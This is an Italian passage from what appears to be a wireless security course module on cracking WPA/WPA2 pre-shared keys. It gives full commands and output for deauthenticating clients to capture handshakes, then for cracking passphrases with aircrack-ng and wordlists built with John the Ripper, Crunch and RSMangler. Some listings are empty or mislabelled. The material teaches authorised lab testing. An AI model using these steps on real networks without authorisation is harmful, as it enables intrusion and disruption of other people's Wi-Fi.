7. Cracking degli hash di autenticazione
Wi-Fi Protected Access (WPA, WPA2 e WPA3) supporta due tipi di metodi di autenticazione. Uno è Pre-Shared Keys (PSK) e l'altro è Enterprise. Questo modulo introduce il cracking di reti WPA e WPA2 che utilizzano chiavi precondivise. Lo faremo usando diversi strumenti.
WPA, WPA2 e WPA3 si basano tutti su hash per generare le chiavi. Le funzioni hash sono funzioni unidirezionali che mappano dati di qualsiasi dimensione (in questo caso, una passphrase) in una stringa di bit di dimensione fissa. Questo processo funziona solo in una direzione. Non possiamo prendere la stringa risultante e risalire ai dati di partenza.
Crackare l'hash — ovvero determinare la passphrase originale — richiede un impegno significativo. Per farlo, useremo una versione della metodologia seguente. Per prima cosa, dovremo catturare un handshake. Poi faremo un tentativo sulla passphrase e lo invieremo alla funzione hash. Confronteremo quindi l'output della funzione hash con l'handshake. Se corrispondono, sapremo che il nostro tentativo era corretto.
Una passphrase può avere una lunghezza compresa tra 8 e 63 caratteri. Conoscere la lunghezza esatta sarebbe utile per generare un elenco di parole con cui provare, ma il design di WPA/WPA2/WPA3 ci impedisce di determinarla.
Potremmo considerare la generazione di un elenco di password, o file dizionario, che includa tutte le permutazioni e combinazioni di caratteri e simboli speciali. Sfortunatamente, a causa del design dell'algoritmo WPA/WPA2, il cracking è molto intensivo dal punto di vista computazionale e dipende in larga misura dalla potenza grezza del sistema informatico. Può richiedere ore, se non giorni, per scorrere un file dizionario di grandi dimensioni.
Per stimare il tempo necessario, possiamo usare un calcolatore del tempo per attacchi brute force.1 Ad esempio, con una passphrase di otto caratteri, usando solo caratteri minuscoli e cifre, potrebbero servire cinque anni per scorrere un simile elenco con un recente Intel i7 e 50 giorni con una GPU potente. Aggiungendo caratteri maiuscoli, con la GPU potente si arriva a un decennio. Aggiungendo alcuni simboli, con la GPU si arriva a mezzo secolo. Chiaramente serve un approccio migliore, che esploreremo più avanti in questo modulo.
Non c'è differenza tra il cracking degli hash WPA e WPA2, poiché la metodologia di autenticazione è sostanzialmente la stessa. Tutte le tecniche che useremo contro le reti WPA e WPA2 sono intercambiabili. Per questo motivo, ci riferiremo semplicemente a WPA intendendo che WPA2 è incluso.
WPA3 condivide somiglianze con WPA, ma usa la molto più robusta Simultaneous Authentication of Equals (SAE) e non è ancora vulnerabile ad attacchi offline. Lo stesso vale per Enhanced Open, noto anche come Opportunistic Wireless Encryption (OWE). Non tratteremo le reti WPA3 in questo modulo.
1 (Lastbit.com, 2021), https://lastbit.com/pswcalc.asp ↩︎
7.1. Aircrack-ng Suite
Prima di usare Aircrack-ng, dobbiamo catturare un handshake WPA a 4 vie tra l'AP e un client — una procedura che useremo in tutto il corso. L'handshake contiene le informazioni critiche necessarie per crackare la passphrase. A scopo dimostrativo, il nostro AP ha una passphrase relativamente semplice.
Una volta che wlan0 è in modalità monitor, diventa wlan0mon. Identificheremo il canale dell'AP target e raccoglieremo il suo BSSID per limitare la nostra cattura con airodump-ng.
kali@kali:~$ sudo airodump-ng wlan0mon
...
CH 2 ][ Elapsed: 30 s ][ 2020-02-29 13:28 ][
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
C8:BC:C8:FE:D9:65 -23 579 69 1 2 54e. WPA2 CCMP PSK secnet
34:08:04:09:3D:38 -30 638 24 0 3 54e. WPA2 CCMP PSK wifu
00:18:E7:ED:E9:69 -84 104 0 0 3 54e. OPN dlink
BSSID STATION PWR Rate Lost Packets Probes
C8:BC:C8:FE:D9:65 0C:60:76:57:49:3F -69 0 - 1 0 35 secnet
34:08:04:09:3D:38 00:18:4D:1D:A8:1F -26 54 -54 0 31 wifu
30:46:9A:FE:79:B7 30:46:9A:FE:69:BE -73 0 - 1 0 1
Listato 1 - Comando e output di Airodump-ng
Il nostro target è l'AP wifu, che opera sul canale 3. Il suo BSSID è 34:08:04:09:3D:38 e ha un client con indirizzo MAC 00:18:4D:1D:A8:1F. La colonna AUTH mostra che l'AP ha un tipo di autenticazione PSK. Questo è un buon segno. aircrack-ng non funziona quando l'autenticazione è Enterprise (MGT), poiché richiede un insieme diverso di strumenti. Opportunistic Wireless Encryption non può ancora essere crackato.
Aggiorniamo il comando airodump-ng per incorporare queste informazioni e salvare i pacchetti in un file di cattura. È fondamentale essere sullo stesso canale dell'AP. Se non lo siamo, i nostri tentativi di deautenticare il client e catturare l'handshake probabilmente falliranno. Eseguiremo airodump-ng con -c 3 per impostare la cattura sul canale 3, -w wpa per scrivere l'output in un file con prefisso "wpa", --essid wifu per filtrare l'output sul nostro ESSID e --bssid 34:08:04:09:3D:38 per filtrare l'output sul nostro BSSID.
kali@kali:~$ sudo airodump-ng -c 3 -w wpa --essid wifu --bssid 34:08:04:09:3D:38 wlan0mon
...
CH 3 ][ Elapsed: 12 s ][ 2020-02-29 13:30 ][
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
34:08:04:09:3D:38 -45 87 107 69 1 3 54e. WPA2 CCMP PSK wifu
BSSID STATION PWR Rate Lost Packets Probes
34:08:04:09:3D:38 00:18:4D:1D:A8:1F -26 54-54 0 31
Listato 2 - Comando e output di Airodump-ng sul canale 3, focalizzato su un BSSID
Con airodump-ng che ora salva i pacchetti in un file (la prima esecuzione produce wpa-01.*, la seconda wpa-02.*, ecc.), useremo aireplay-ng per deautenticare, ovvero disconnettere, l'AP target e il client connesso.
Useremo l'opzione -0 1 per deautenticare una volta e -a per puntare al nostro BSSID. Useremo -c per identificare il client associato e infine specificheremo wlan0mon come interfaccia di ascolto.
kali@kali:~$ sudo aireplay-ng -0 1 -a 34:08:04:09:3D:38 -c 00:18:4D:1D:A8:1F wlan0mon
13:30:30 Waiting for beacon frame (BSSID: 34:08:04:09:3D:38) on channel 1
13:30:30 Sending 64 directed DeAuth (code 7). STMAC: [00:18:4D:1D:A8:1F] [ 0| 0 ACKs]
Listato 3 - Deautenticazione del client
Aireplay-ng verifica che il BSSID esista prima di inviare i pacchetti di deautenticazione. Una volta che il client si riconnette all'AP target, airodump-ng sarà in grado di catturare un handshake.
Listato 4 - Handshake WPA dal BSSID 34:08:04:09:3D:38
Prima di terminare airodump-ng con Ctrl+C, continuiamo a catturare il traffico tra il client e l'AP. Questi dati aggiuntivi ci aiuteranno a confermare che la chiave è corretta in seguito.
In alcuni casi, la notifica potrebbe non apparire perché non è stato catturato un handshake valido. Nella maggior parte dei casi ciò accade perché il segnale è troppo debole o troppo forte e solo un lato, o solo una porzione, dell'handshake è stato catturato. Ci sono anche altre possibili cause.
- Alcuni driver wireless ignorano la deautenticazione diretta e rispondono solo alla deautenticazione broadcast. Possiamo eseguire lo stesso comando di deautenticazione aireplay-ng senza il parametro -c.
- Se è in uso 802.11w1, i frame di deautenticazione non cifrati vengono ignorati. L'unica opzione è attendere che un client si connetta.
- Il dispositivo semplicemente non si è riconnesso o era già fuori dalla portata dell'AP.
Ora che abbiamo catturato un handshake, crackarlo è relativamente semplice. Eseguiamo aircrack-ng sul file di cattura appena creato, wpa-01.cap. Useremo un elenco di password comunemente usate, noto anche come wordlist, situato in /usr/share/john/password.lst. Useremo -w per specificare il percorso della wordlist. Poi useremo -e per indicare quale ESSID targetizzare e infine -b per specificare il BSSID.
kali@kali:~$ aircrack-ng -w /usr/share/john/password.lst -e wifu -b 34:08:04:09:3D:38 wpa-01.cap
Aircrack-ng 1.5.2
[00:00:00] 3424/3559 keys tested (3516.42 k/s)
Time left: 0 seconds 100.00%
KEY FOUND! [ 12345678 ]
Master Key : 27 A6 FB B3 FA 30 4C CD EE E5 8E 88 36 D0 CC 6D
A8 0D AB FE 06 D7 68 DF A1 0B 9F C7 30 03 4F 47
Transient Key : 8F C7 EF EF EF EF EF EF 60 1D EC 08 B7 4A 22 71
42 A1 A1 35 F2 76 DB C0 A4 42 06 15 5F E0 46 4D
E9 10 2F CD 51 22 CE 2E 77 CF 5E 69 DB E4 7C C5
FA 72 9A 45 25 D4 D6 53 8B 05 35 2D 24 01 C9 B6
EAPOL HMAC : AB D2 9E 97 66 C7 A6 77 7E 63 43 73 CC 73 9A 37
Listato 5 - La chiave condivisa WPA è stata recuperata
Warning
Senza entrambi i parametri -e e -b, aircrack-ng normalmente chiede di scegliere una rete da crackare. In questo caso, poiché c'è una sola rete, aircrack-ng sceglie automaticamente il nostro target.
Aircrack-ng ha crackato con successo la nostra passphrase semplice. Tuttavia, dovremmo confermare che sia corretta. È possibile che abbiamo catturato un tentativo fallito di un client di connettersi alla rete. È qui che entra in gioco il traffico aggiuntivo catturato tra il client e l'AP.
Per confermare che la chiave è corretta, decifriamo il traffico con airdecap-ng. Eseguiremo il comando con -b per specificare il BSSID. Poi includeremo -e per specificare l'ESSID, essenziale per decifrare WPA. Useremo -p per specificare la passphrase crackata e wpa-01.cap per eseguirlo sul nostro file di cattura.
kali@kali:~$ airdecap-ng -b 34:08:04:09:3D:38 -e wifu -p 12345678 wpa-01.cap
Total number of stations seen 1
Total number of packets read 393
Total number of WEP data packets 0
Total number of WPA data packets 125
Number of plaintext data packets 0
Number of decrypted WEP packets 0
Number of corrupted WEP packets 0
Number of decrypted WPA packets 37
Number of bad TKIP (WPA) packets 0
Number of bad CCMP (WPA) packets 0
Listato 6 - Utilizzo di airdecap-ng per decifrare il traffico
I risultati mostrano che airdecap-ng ha decifrato con successo 37 pacchetti. In alcuni casi, quando c'è una pausa nel traffico decifrabile, airdecap-ng può indicare "0" anche se la passphrase è corretta.
Un altro modo per confermare la passphrase è usare Wireshark e aggiungerla a una cattura come descritto nel modulo Wireshark.
Un'altra opzione è catturare un altro handshake con airodump-ng e acquisire più traffico successivo. Potremmo catturare il traffico tra lo stesso client e AP, quindi combinare entrambi i file di cattura se è trascorso poco tempo. Il rekeying può avvenire fino a un'ora dopo l'handshake iniziale.
1 (Wikipedia, 2021), https://en.wikipedia.org/wiki/IEEE_802.11w-2009 ↩︎
7.2. Wordlist personalizzate con Aircrack-ng
A volte la nostra passphrase sarà in una wordlist, ma non avremo sempre così tanta fortuna. D'altra parte, vogliamo evitare di ricorrere a un attacco brute force che consuma tempo e risorse. Per aumentare le probabilità di trovare la passphrase, potremmo dover ampliare le wordlist aggiungendo mutazioni di parole e frasi.
Esistono molte wordlist con cui possiamo iniziare. Kali ha wordlist aggiuntive in /usr/share/wordlists e con singoli strumenti sotto /usr/share. Possiamo trovarne altre nelle FAQ di Aircrack-ng,1 su GitHub,2 e usando un motore di ricerca.
Oltre alle passphrase comuni, possiamo anche dedicare del tempo alle passphrase predefinite. Gli AP spesso hanno una passphrase predefinita per semplificare la configurazione. È piuttosto comune che un amministratore di sistema usi semplicemente quella predefinita, perché sembra abbastanza sicura. Qualsiasi informazione su un pattern o una metodologia usata da un produttore per creare questa passphrase può essere utile. Ad esempio, i router TP-Link spesso hanno una passphrase predefinita di 8 cifre. Anche i modem via cavo Xoom e Arris usano pattern di passphrase predefiniti.
È raro conoscere il modello di un AP prima di un engagement, ma possiamo determinare alcune informazioni sul produttore del dispositivo dal suo Organizationally Unique Identifier (OUI) IEEE.3 Per farlo, guarderemo i primi tre byte del BSSID.
Wireshark mostra queste informazioni per impostazione predefinita e dispone anche di uno strumento di ricerca online4 che fornisce il produttore quando viene fornito un OUI come input. Con queste informazioni, una ricerca online può fornire numeri di modello, manuali, procedure di configurazione o altre informazioni che possono indicare passphrase predefinite o pattern utili per creare una wordlist.
Oltre a tutto ciò, esistono molti strumenti in grado di alterare e ampliare le nostre wordlist. Ci concentreremo su tre popolari.
- John the Ripper, noto anche come John o abbreviato in JtR
- Crunch
- RSMangler
Sebbene tutti questi strumenti alterino le parole, Crunch è un po' diverso perché viene usato soprattutto per creare wordlist da zero. Le capacità di questi strumenti si sovrappongono e spesso due strumenti possono ottenere lo stesso risultato. Probabilmente lo strumento che scegliamo dipenderà dalle preferenze personali.
Gli esempi seguenti sono molto improbabili in un engagement reale. Ma può capitare che un amministratore o un'azienda mostrino segni di impostare passphrase con un pattern (ad esempio, la policy aziendale sulle password). Quindi è meglio essere familiarizzati con l'uso di questi strumenti.
1 (Aircrack-ng, 2020), https://aircrack-ng.org/doku.php?id=faq#where_can_i_find_good_wordlists ↩︎
2 (GitHub, 2021), https://github.com/search?q=wordlist ↩︎
3 (IEEE, 2021), http://standards-oui.ieee.org/oui.txt ↩︎
4 (Wireshark Foundation, 2021), https://www.wireshark.org/tools/oui-lookup.html ↩︎
7.2.1. Utilizzo di Aircrack-ng con John the Ripper
John the Ripper (JtR) è un programma di password cracking supportato sulla maggior parte dei sistemi operativi. Include regole personalizzabili di alterazione delle parole che possono essenzialmente ampliare una wordlist senza sforzo aggiuntivo. Ad esempio, se una wordlist contiene la parola minuscola "password", le regole predefinite di JtR proveranno "Password", "password1", ecc.
Possiamo sfruttare le potenti capacità di alterazione delle parole di JtR e inviare l'output ad aircrack-ng per ampliare le nostre capacità di password cracking.
7.2.2. Modifica delle regole di John the Ripper
Per dimostrare le regole di alterazione delle parole di JtR, abbiamo cambiato la password del nostro AP in "Password123". Cercando "password" nella wordlist predefinita si ottiene il seguente output.
kali@kali:~$ grep -i password /usr/share/john/password.lst
...
password
password1
Password
password2
PASSWORD
Listato 7 - Elenco di tutte le righe contenenti "password"
La nostra password (Password123) non è inclusa nella wordlist di JtR, poiché le regole predefinite di alterazione di JtR aggiungono solo una cifra alla fine di ogni parola. Abbiamo bisogno di tre cifre aggiunte al nostro input.
Aggiungiamo due regole aggiuntive che aggiungono due e tre cifre alla fine di ogni parola nella wordlist. Le regole di alterazione di JtR si trovano in /etc/john/john.conf, che possiamo modificare con nano.
kali@kali:~$ sudo nano /etc/john/john.conf
...
[List.Rules:Wordlist]
# Try words as they are
:
# Lowercase every pure alphanumeric word
-c >3 !?X l Q
# Capitalize every pure alphanumeric word
-c (?a >2 !?X c Q
...
# Add two numbers to the end of each password
$[0-9]$[0-9]
$[0-9]$[0-9]$[0-9]
# Case toggler for cracking MD4-based NTLM hashes (with the contributed patch)
# given already cracked DES-based LM hashes. Use --rules=NT to use this.
Listato 8 - Aggiunta di due regole di alterazione a JtR
Testiamo l'efficacia delle nuove regole. Eseguiremo JtR in modalità wordlist e invieremo il suo output standard (--stdout) come input standard a un comando grep con il carattere pipe (|).
kali@kali:~$ john --wordlist=/usr/share/john/password.lst --rules --stdout | grep -i Password123
Press 'q' or Ctrl-C to abort, almost any other key for status
password123
password123
Password123
PASSWORD123
password1230
password1231
...
password1239
4056131p 0:00:00:00 100.00% (2018-01-10 10:00) 5481Kp/s sss999
Listato 9 - Test delle regole di alterazione con JtR
Siamo riusciti a trovare una corrispondenza esatta con la nostra passphrase WPA, quindi sappiamo che le nuove regole di alterazione funzionano come previsto. Non solo, ma possiamo vedere che JtR ha creato più di quattro milioni di stringhe da provare come passphrase.
7.2.3. Utilizzo di Aircrack-ng con JTR
Ora che abbiamo modificato e testato le nostre regole JtR personalizzate, recupereremo la passphrase WPA del nostro AP inviando il comando JtR ad aircrack-ng. Il nostro comando aircrack-ng targetizza l'ESSID del nostro AP con -e dal file di cattura wpa-01.cap. Invece dell'input da un file wordlist, useremo -w -. Il trattino finale indica l'input standard (STDIN).
kali@kali:~$ john --wordlist=/usr/share/john/password.lst --rules --stdout | aircrack-ng -e wifu -w - ~/wpa-01.cap `
...
Aircrack-ng 1.5.2
[00:01:21] 713471 keys tested (8789.92 k/s)
KEY FOUND! [ Password123 ]
Master Key : 57 7D EF 0B 09 FF 92 92 3F 15 52 E8 48 D8 26 6D
EB 10 8A 15 B5 F0 62 14 4F 88 C1 78 FB D4 52 04
Transient Key : 45 21 28 85 40 69 58 29 77 6E B0 BC D2 D2 FC AA
C5 5A 08 C9 B1 58 50 42 DC AD B8 54 95 1E 51 E9
44 15 81 28 67 E9 28 02 0E 29 43 5E 31 C2 23 C0
0A 1F 46 DB A4 93 52 5B 2E 7E 57 09 BC 2B 0B 13
EAPOL HMAC : 19 7B 5B D1 32 73 82 69 98 56 06 BA 9B D2 B4 9B
Listato 10 - Combinazione delle regole di alterazione JtR e invio ad aircrack-ng
JtR ha alterato la nostra wordlist originale in più di quattro milioni di voci, permettendoci di recuperare la password in poco più di un minuto. Siamo riusciti a recuperare la passphrase anche se non compariva nella wordlist originale.
Esercizi
Configura il tuo AP con crittografia WPA/WPA2 PSK e aggiungi due o tre cifre alla fine di una passphrase da /usr/share/john/password.lst. Riconfigura il client vittima per connettersi all'AP.
- Metti la scheda wireless in modalità monitor e avvia una cattura con airodump-ng.
- Deautentica il client vittima e assicurati di aver catturato l'handshake WPA a 4 vie.
- Cracka la passphrase WPA usando John the Ripper combinato con aircrack-ng.
7.2.4. Utilizzo di Aircrack-ng con Crunch
Crunch1 è un generatore di password facile da usare e interagisce con aircrack-ng nello stesso modo di JtR. Dato un pattern e un set di caratteri o parole, Crunch è in grado di generare tutte le combinazioni possibili.
Il comando crunch richiede solo di specificare i primi due parametri, ovvero la lunghezza minima e massima della password.
WPA/WPA2 richiede passphrase tra otto e 63 caratteri. Limitiamo un po' la ricerca e creiamo una wordlist che ci darà tutte le combinazioni possibili per una passphrase di otto o nove caratteri minuscoli.
kali@kali:~$ crunch 8 9
Crunch will now generate the following amount of data: 56174480370944 bytes
53572159 MB
52316 GB
51 TB
0 PB
Crunch will now generate the following number of lines: 5638330743552
aaaaaaaa
aaaaaaab
aaaaaaac
aaaaaaad
aaaaaaae
aaaaaaaf
aaaaaaag
aaaaaaah
aaaaaaai
aaaaaaaj
...
Listato 11 - Utilizzo di Crunch per generare una wordlist di tutti i caratteri stampabili con parole tra 8 e 9 caratteri
L'output indica che la wordlist generata occuperà 51 TB di spazio, il che chiaramente non è pratico. Dovremo trovare un modo per affinare la wordlist.
Una cosa che possiamo fare è limitare i caratteri possibili. Useremo crunch per creare una wordlist che contenga solo i caratteri a, b, c, 1, 2 e 3. Per farlo, aggiungiamo abc123 al comando e generiamo una wordlist molto più piccola.
kali@kali:~$ crunch 8 9 abc123
Crunch will now generate the following amount of data: 115893504 bytes
110 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 11757312
aaaaaaaa
aaaaaaab
aaaaaaac
aaaaaaa1
aaaaaaa2
aaaaaaa3
aaaaaaba
aaaaaabb
aaaaaabc
aaaaaab1
...
Listato 12 - Utilizzo di Crunch per generare una wordlist con il charset abc123 e parole tra 8 e 9 caratteri
La wordlist generata è ora molto più gestibile: 110 MB.
Crunch ci permette anche di specificare un pattern con l'opzione -t con o senza un set di caratteri. Simboli diversi nel pattern definiscono il tipo di carattere da usare.
- @ rappresenta caratteri minuscoli o caratteri da un set definito
- , rappresenta caratteri maiuscoli
- % rappresenta numeri
- ^ rappresenta simboli
Usando l'opzione pattern, generiamo una wordlist in grado di crackare il nostro handshake WPA a 4 vie.
kali@kali:~$ crunch 11 11 -t password%%%
Crunch will now generate the following amount of data: 12000 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 1000
password000
password001
password002
password003
...
password999
Listato 13 - Utilizzo di Crunch per generare una wordlist che inizia con password e termina con quattro cifre
Un altro modo per ottenere lo stesso risultato è usare l'opzione pattern e un set di caratteri definito di numeri.
kali@kali:~$ crunch 11 11 0123456789 -t password@@@
Crunch will now generate the following amount of data: 12000 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 1000
password000
password001
password002
password003
...
password999
Listato 14 - Utilizzo di Crunch per generare una wordlist che inizia con 'password' e termina con quattro cifre - Versione alternativa
L'opzione -p genera parole uniche da un set di caratteri o da un insieme di parole intere. Sebbene dobbiamo ancora fornire la lunghezza minima e massima, quei numeri vengono ignorati.
kali@kali:~$ crunch 1 1 -p abcde12345
Crunch will now generate approximately the following amount of data: 39916800 bytes
38 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 3628800
12345abcde
12345abced
12345abdce
12345abdec
12345abecd
12345abedc
12345acbde
12345acbed
12345acdbe
12345acdeb
...
edcba54321
Listato 15 - Utilizzo di Crunch per generare una wordlist usando i caratteri in 'abcde12345' senza ripeterne nessuno
Usiamo crunch con -p e valori multipli per generare un elenco di parole uniche.
kali@kali:~$ crunch 1 1 -p dog cat bird
Crunch will now generate approximately the following amount of data: 66 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 6
birdcatdog
birddogcat
catbirddog
catdogbird
dogbirdcat
dogcatbird
Listato 16 - Utilizzo di Crunch per generare una wordlist con più parole invece di caratteri, senza ripeterle
Possiamo anche combinare le opzioni -t e -p per affinare ulteriormente la wordlist.
kali@kali:~$ crunch 5 5 -t ddd%% -p dog cat bird
Crunch will now generate approximately the following amount of data: 7800 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 600
birdcatdog00
birdcatdog01
birdcatdog02
birdcatdog03
birdcatdog04
birdcatdog05
birdcatdog06
birdcatdog07
birdcatdog08
birdcatdog09
...
Listato 17 - Utilizzo di Crunch per generare una wordlist con più parole invece di caratteri, senza ripeterle e aggiungendo due cifre
In questo esempio, il pattern ("ddd%%") prende le parole definite da -p e le assegna a ciascuna variabile d (qualsiasi carattere alfanumerico può essere assegnato come variabile). Poi con "%%" aggiunge due cifre alla parola risultante. I valori di lunghezza minima e massima devono però corrispondere al pattern.
Nell'output, vediamo che Crunch ha aggiunto due interi alla fine. Se avessimo usato "@@" invece di "%%", avrebbe aggiunto lettere minuscole. Abbiamo molta libertà quando usiamo l'opzione -t. Ad esempio, "d%d@%%" è un parametro valido.
Poi, prendiamo un set di caratteri definito e li assegniamo nel pattern con il simbolo @.
kali@kali:~$ crunch 5 5 aADE -t ddd@@ -p dog cat bird
Crunch will now generate approximately the following amount of data: 1248 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 96
birdcatdogaa
birdcatdogaA
birdcatdogaD
birdcatdogaE
birdcatdogAa
birdcatdogAA
birdcatdogAD
birdcatdogAE
birdcatdogDa
birdcatdogDA
...
Listato 18 - Utilizzo di Crunch per generare una wordlist non ripetitiva da più parole e aggiungendo due caratteri da un set definito
Alcune di queste wordlist richiedono molto spazio di archiviazione, ma generarle richiede pochissima potenza CPU. C'è poco valore nell'archiviare queste wordlist di grandi dimensioni, poiché aircrack-ng può elaborare wordlist ricevute da STDIN.
Analogamente a JtR, possiamo inviare la wordlist generata da Crunch ad aircrack-ng.
kali@kali:~$ crunch 11 11 -t password%%% | aircrack-ng -e wifu crunch-01.cap -w -
...
Aircrack-ng 1.5.2
[00:00:02] 128 keys tested (48.74 k/s)
KEY FOUND! [ password123 ]
Master Key : 57 7D EF 0B 09 FF 92 92 3F 15 52 E8 48 D8 26 6D
EB 10 8A 15 B5 F0 62 14 4F 88 C1 78 FB D4 52 04
Transient Key : 2E 8D 54 FF 59 CD 06 85 40 EB 36 66 58 0F FD DF
19 84 FC FA 6C EC F7 8A 29 12 83 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
EAPOL HMAC : DC 5F 0D 69 7D 77 64 C1 16 7D F4 13 B5 8D 51 AB
Listato 19 - Combinazione dell'alterazione Crunch e invio ad aircrack-ng
Nota che il comando sopra può essere sostituito da qualsiasi altro comando crunch, purché invii la wordlist allo schermo.
Esercizi
Configura il tuo AP con crittografia WPA/WPA2 PSK e la passphrase "password" seguita da tre cifre. Riconfigura il client vittima per connettersi all'AP.
- Metti la scheda wireless in modalità monitor e avvia una cattura con airodump-ng.
- Deautentica il client vittima e assicurati di aver catturato l'handshake WPA a 4 vie.
- Cracka la passphrase WPA usando Crunch combinato con aircrack-ng.
1 (bofh28, 2013), https://sourceforge.net/projects/crunch-wordlist/ ↩︎
7.2.5. Utilizzo di Aircrack-ng con RSMangler
RSMangler1 è uno script Ruby che prende parole come input e le modifica in diversi modi, come cambiare maiuscole/minuscole, invertire l'ordine, usare "leetspeak", aggiungere numeri e così via, per creare una wordlist senza ripetizioni.
Da poche parole, RSMangler può creare una wordlist enorme per il password cracking che può essere inviata ad altri strumenti o salvata in un file.
Tutte le opzioni di manipolazione delle parole di RSMangler sono attive per impostazione predefinita, ma possiamo aggiungere parametri alla riga di comando per disattivare singole opzioni.
Per dimostrare RSMangler, creiamo prima un file di testo con "bird", "cat" e "dog".
kali@kali:~$ echo bird > wordlist.txt
kali@kali:~$ echo cat >> wordlist.txt
kali@kali:~$ echo dog >> wordlist.txt
Listato 20 - Creazione di una wordlist semplice per RSMangler
Poi elaboreremo quel file con il comando rsmangler e l'opzione --file.
Listato 21 - Comando RSMangler di base
Per impostazione predefinita, i risultati di RSMangler vengono inviati allo schermo (STDOUT). Per salvare i risultati di RSMangler in un file, usiamo l'opzione --output.
Listato 22 - Output di RSMangler su file
Un set di tre parole genera circa 6.000 password, quattro parole ne genera circa 23.000 e cinque parole circa 125.000. Dobbiamo fare attenzione a garantire che la wordlist di partenza abbia una dimensione ragionevole.
RSMangler memorizza i risultati in cache in memoria per rimuovere i duplicati prima di scrivere sull'output standard e mostrarli a schermo. Con tre o quattro parole, questo processo non richiede molto tempo e l'utilizzo della CPU è trascurabile. Tuttavia, con ogni parola aggiuntiva, il tempo impiegato e la memoria usata per eliminare i duplicati aumentano esponenzialmente.
L'opzione --allow-duplicates disabilita il controllo dei duplicati e, a meno che l'applicazione non possa gestirli, è preferibile. Con cinque parole, RSMangler genera circa 300 duplicati, ovvero lo 0,25% del totale, quindi il compromesso vale la pena.
Analogamente a come abbiamo inviato l'output di JtR e Crunch ad aircrack-ng, invieremo file in RSMangler con l'opzione --file e un trattino (-) al posto del nome del file.
Listato 23 - Wordlist concatenata inviata a RSMangler
Usando le opzioni --min e --max, limitiamo la lunghezza delle parole RSMangler tra 12 e 13 caratteri.
kali@kali:~$ rsmangler --file wordlist.txt --min 12 --max 13
adminbirdcat
birdcatadmin
adminbirddog
birddogadmin
admincatbird
catbirdadmin
catdogcatdog
admindogbird
dogbirdadmin
dogcatdogcat
...
Listato 24 - Alterazione della wordlist con RSMangler e limitazione a 12-13 caratteri
Limitare la dimensione delle parole produce circa 1500 password. Questa quantità varia a seconda del numero di parole nella wordlist e della lunghezza di ciascun elemento.
Come abbiamo fatto con JtR e Crunch, possiamo inviare le parole generate da rsmangler ad aircrack-ng per crackare un handshake WPA a 4 vie con la passphrase "41birdcatdog".
kali@kali:~$ rsmangler --file wordlist.txt --min 12 --max 13 | aircrack-ng -e wifu rsmangler-01.cap -w -
...
Aircrack-ng 1.5.2
[00:00:02] 128 keys tested (48.74 k/s)
KEY FOUND! [ 41birdcatdog ]
Master Key : CE BD A8 BD 43 39 5B 4E 1E 7E 2B A6 77 F0 3D 85
20 7E E2 AF 6E 9C 9C A2 1D F2 33 B7 9E C2 A1 A8
Transient Key : B8 7D A9 6F EA BD 4C 52 3F 57 09 8A C5 37 F1 41
87 B6 B7 87 21 D1 82 63 1F 9A B7 41 E2 AD 22 08
7A 6B F2 D4 19 26 66 09 D2 BB F4 AB 89 26 AA 5D
E7 E5 9E 85 30 80 1B A8 4A 14 BD 73 82 7E D3 0F
EAPOL HMAC : 58 CD C7 9E 0E 45 66 05 5B E1 0C 10 93 D7 65 2C
Listato 25 - Combinazione dell'alterazione RSMangler e invio ad Aircrack-ng
Nota che il comando sopra può essere sostituito da qualsiasi altro comando RSMangler, purché --output non sia usato, cioè la wordlist non sia indirizzata a un file di output.
Esercizi
Configura il tuo AP con crittografia WPA/WPA2 PSK e una passphrase contenente le parole "bird", "cat" e "dog" in qualsiasi ordine, seguite da due o tre cifre come dimostrato in questa sezione. Riconfigura il client vittima per connettersi all'AP.
- Metti la scheda wireless in modalità monitor e avvia una cattura con airodump-ng.
- Deautentica il client vittima e assicurati di aver catturato l'handshake WPA a 4 vie.
- Cracka la passphrase WPA usando RSMangler combinato con aircrack-ng.
1 (Robin Wood, 2017), https://digi.ninja/projects/rsmangler.php ↩︎
7.3. Hashcat
Hashcat1 è un versatile strumento di password cracking sviluppato per operare principalmente su sistemi con Graphical Processing Units (GPU) NVIDIA, AMD e Intel. Nella maggior parte dei casi, le GPU sono molto più veloci delle CPU nel password cracking; tuttavia, la configurazione è più complessa. I sistemi con determinate CPU possono eseguire hashcat, sebbene con prestazioni ridotte.
Per mettere le cose in prospettiva, un recente CPU Intel i7 che esegue hashcat è in grado di raggiungere ~20.000 passphrase al secondo. Una GPU NVIDIA RTX 2080 Super Founders Edition raggiunge ~650.000 passphrase al secondo. Ciò equivale a 32 volte più veloce per un costo di circa il doppio della CPU. Una NVIDIA Tesla V100, disponibile nel cloud Amazon Web Services, benchmarka a più di 850.000 passphrase al secondo.
Warning
Le versioni precedenti di hashcat erano closed source e ne esistevano due, una per NVIDIA che usava Compute Unified Device Architecture (CUDA),2 e l'altra per Open Computing Language (OpenCL).3 hashcat è poi diventato open source ed è ora focalizzato solo su OpenCL per tutti i tipi di unità di elaborazione (CPU, GPU e altre). OpenCL è un framework Khronos Group per scrivere ed eseguire applicazioni su piattaforme eterogenee con diverse unità di elaborazione come CPU, GPU, DSP4 e FPGA.5
Sia CUDA che OpenCL sono framework per General-Purpose computing on GPU (GPGPU).6 Rendono disponibili per compiti tradizionalmente gestiti dalla CPU l'array di unità di elaborazione della GPU, tipicamente usate solo per la grafica.
CUDA è proprietario e limitato alle GPU NVIDIA, mentre OpenCL è più generale, versatile e non limitato alle GPU.
Tuttavia, non tutti i dispositivi che soddisfano tali criteri sono supportati. Ogni produttore di "processori", che sia CPU, GPU o altro, deve fornire agli utenti finali una runtime library7 per il proprio chip sui diversi sistemi operativi supportati.
1 (hashcat, 2021), https://hashcat.net ↩︎
2 (Wikipedia, 2021), https://en.wikipedia.org/wiki/CUDA ↩︎
3 (Wikipedia, 2021), https://en.wikipedia.org/wiki/OpenCL ↩︎
